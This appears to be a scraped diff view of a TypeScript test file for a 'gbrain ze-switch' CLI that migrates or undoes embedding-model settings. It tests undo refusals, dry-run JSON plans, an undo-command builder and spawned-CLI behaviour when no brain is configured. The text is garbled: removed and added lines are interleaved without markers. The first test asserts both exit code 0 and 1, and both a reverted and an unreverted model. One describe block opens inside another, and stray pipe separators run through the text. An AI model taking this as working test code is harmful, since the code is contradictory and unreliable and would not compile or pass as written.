await seedAppliedSwitch();
|
||||
const r = await captureExit(() =>
|
||||
runZeSwitch(['--undo', '--non-interactive', '--confirm-reembed'], engine),
|
||||
);
|
||||
expect(r.exitCode).toBe(0);
|
||||
// Reverted to prior model.
|
||||
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
|
||||
expect(await engine.getConfig('embedding_dimensions')).toBe('1536');
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large');
|
||||
// The retired action would have reverted config; the shim must not:
|
||||
expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
|
||||
});
|
||||
|
||||
test('a failed --undo never points back at --undo (guidance-loop guard)', async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).not.toContain('gbrain ze-switch --undo');
|
||||
});
|
||||
});
|
||||
|
||||
describe('--dry-run --json (read-only plan still allowed until removal)', () => {
|
||||
test('emits the planned envelope with the ZE target', async () => {
|
||||
await setLegacyConfig();
|
||||
await seedPages(150);
|
||||
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json'], engine));
|
||||
expect(r.exitCode).toBe(0);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('planned');
|
||||
expect(env.plan).toBeDefined();
|
||||
expect(env.plan.target_dim).toBe(ZE_TARGET_EMBEDDING_DIM);
|
||||
describe('buildUndoCommands (pure builder)', () => {
|
||||
const snap = {
|
||||
embedding_model: 'openai:text-embedding-3-large',
|
||||
embedding_dimensions: 1536,
|
||||
search_reranker_enabled: false,
|
||||
search_reranker_model: null,
|
||||
};
|
||||
|
||||
test('carries the explicit --brain selector into BOTH commands', () => {
|
||||
// --brain is stripped pre-dispatch by the global option layer; without
|
||||
// this, `ze-switch --brain team-x --undo` reads team-x's snapshot but the
|
||||
// printed command re-embeds the DEFAULT brain (paid work, wrong corpus).
|
||||
const { live, preview } = buildUndoCommands(snap, ' --brain team-x');
|
||||
expect(live).toContain('--brain team-x');
|
||||
expect(preview).toContain('--brain team-x');
|
||||
expect(preview).toContain('--dry-run');
|
||||
expect(live).not.toContain('--dry-run');
|
||||
});
|
||||
|
||||
test('no brain selector → no --brain token', () => {
|
||||
const { live } = buildUndoCommands(snap, '');
|
||||
expect(live).not.toContain('--brain');
|
||||
});
|
||||
});
|
||||
|
||||
describe('registry + dispatch contract (the layer in-process calls bypass)', () => {
|
||||
test('every retired flag is in the generated ze-switch registry row', () => {
|
||||
// The refusal-instead-of-unknown-flag promise lives in the GENERATED row,
|
||||
// not in the shim: a help-copy trim that dropped the quoted literals
|
||||
// would regenerate the row without them and old scripts would die
|
||||
// pre-dispatch. This pin makes that failure loud.
|
||||
const row = CLI_FLAG_REGISTRY['ze-switch'] ?? [];
|
||||
for (const f of RETIRED_FLAGS) {
|
||||
expect(row).toContain(f);
|
||||
}
|
||||
});
|
||||
|
||||
test('spawned CLI: a retired flag reaches the refusal even with NO brain configured', async () => {
|
||||
const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-nobrain-'));
|
||||
const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
|
||||
delete env.GBRAIN_DATABASE_URL;
|
||||
delete env.DATABASE_URL;
|
||||
const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--resume'], {
|
||||
cwd: REPO,
|
||||
env,
|
||||
stdout: 'pipe',
|
||||
stderr: 'pipe',
|
||||
});
|
||||
const [out, err] = await Promise.all([
|
||||
new Response(proc.stdout).text(),
|
||||
new Response(proc.stderr).text(),
|
||||
]);
|
||||
const code = await proc.exited;
|
||||
const all = out + err;
|
||||
expect(code).toBe(1);
|
||||
expect(all).not.toContain('unknown flag');
|
||||
expect(all).not.toContain('No brain configured');
|
||||
expect(all).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
|
||||
}, 30_000);
|
||||
|
||||
test('spawned CLI: --undo --json on a brainless machine still gets the envelope', async () => {
|
||||
// connectEngine would print plain "No brain configured" and exit before
|
||||
// the shim ran — the dispatch pre-checks config and degrades to a null
|
||||
// engine so --json callers always get machine-readable truth.
|
||||
const home = mkdtempSync(join(tmpdir(), 'gbrain-zeswitch-undo-'));
|
||||
const env: Record<string, string | undefined> = { ...process.env, GBRAIN_HOME: home };
|
||||
delete env.GBRAIN_DATABASE_URL;
|
||||
delete env.DATABASE_URL;
|
||||
const proc = Bun.spawn(['bun', '--no-env-file', 'run', 'src/cli.ts', 'ze-switch', '--undo', '--json'], {
|
||||
cwd: REPO,
|
||||
env,
|
||||
stdout: 'pipe',
|
||||
stderr: 'pipe',
|
||||
});
|
||||
const [out] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]);
|
||||
const code = await proc.exited;
|
||||
expect(code).toBe(1);
|
||||
const envlp = JSON.parse(out.trim().split('\n').pop()!);
|
||||
expect(envlp.status).toBe('refused');
|
||||
expect(envlp.reason).toBe('provider_sunset');
|
||||
}, 30_000);
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user